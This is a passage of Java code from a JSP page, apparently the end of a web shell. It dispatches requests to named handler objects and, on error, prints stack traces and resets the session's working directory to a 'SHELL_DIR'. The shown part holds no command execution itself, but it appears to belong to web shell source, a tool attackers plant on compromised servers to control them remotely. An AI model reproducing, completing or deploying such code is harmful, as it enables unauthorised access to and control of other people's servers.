				((Invoker)ins.get("script")).invoke(request,response,session);
				((Invoker)ins.get("top")).invoke(request,response,session);
			}
			in.invoke(request,response,session);
			if (!in.doAfter()) {
				return;
			}else{
				((Invoker)ins.get("bottom")).invoke(request,response,session);
				((Invoker)ins.get("after")).invoke(request,response,session);
			}
		}					
	} catch (Exception e) {
		Object msg = session.getAttribute(MSG);
		if (msg != null) {
			Util.outMsg(out,(String)msg);
			session.removeAttribute(MSG);
		}
		if (e.toString().indexOf("ClassCastException") != -1) {
			Util.outMsg(out,MODIFIED_ERROR + BACK_HREF);
		}
		ByteArrayOutputStream bout = new ByteArrayOutputStream();
		e.printStackTrace(new PrintStream(bout));
		session.setAttribute(CURRENT_DIR,SHELL_DIR);
		Util.outMsg(out,Util.htmlEncode(new String(bout.toByteArray())).replaceAll("\n","<br/>"),"left");
		bout.close();
		out.flush();
		((Invoker)ins.get("bottom")).invoke(request,response,session);
		((Invoker)ins.get("after")).invoke(request,response,session);
	}
%>

